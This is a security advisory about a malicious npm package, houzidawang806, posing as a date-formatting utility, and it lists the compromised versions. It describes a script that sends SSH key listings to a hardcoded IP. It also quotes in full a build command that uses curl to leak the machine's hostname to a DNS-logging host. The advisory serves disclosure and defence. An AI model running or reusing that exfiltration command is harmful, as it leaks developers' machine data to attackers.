npm · Malicious package advisory
Malwarehouzidawang806
MAL-2026-5729
Malicious code in houzidawang806 (npm)
Details
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## Source: amazon-inspector (2dbf603db6d0a3434c6c417dd460f26d08b9e230c03926f05987bb3841d3c72b)
Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for *.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on `npm install`; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs `curl http://$(hostname).ba6511da.log.dnslog.pp.ua`, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running `npm run build` leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous.
## Source: ossf-package-analysis (ed3081af88967b6d88637c2d7f15cde7050674bab1536c57bdf465737a6f6cf0)
The OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Compromised versions (23)
- 1.0.7
- 1.0.9
- 1.0.3
- 1.0.4
- 1.0.2
- 1.0.1
- 1.0.6
- 1.0.5
- 1.1.2
- 1.1.3
- 1.0.0
- 1.1.1
- 1.1.4
- 1.1.5
- 1.1.7
- 1.1.8
- 1.1.0
- 1.2.4
- 1.2.5
- 1.2.0
- 1.2.6
- 1.2.1
- 1.2.3
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.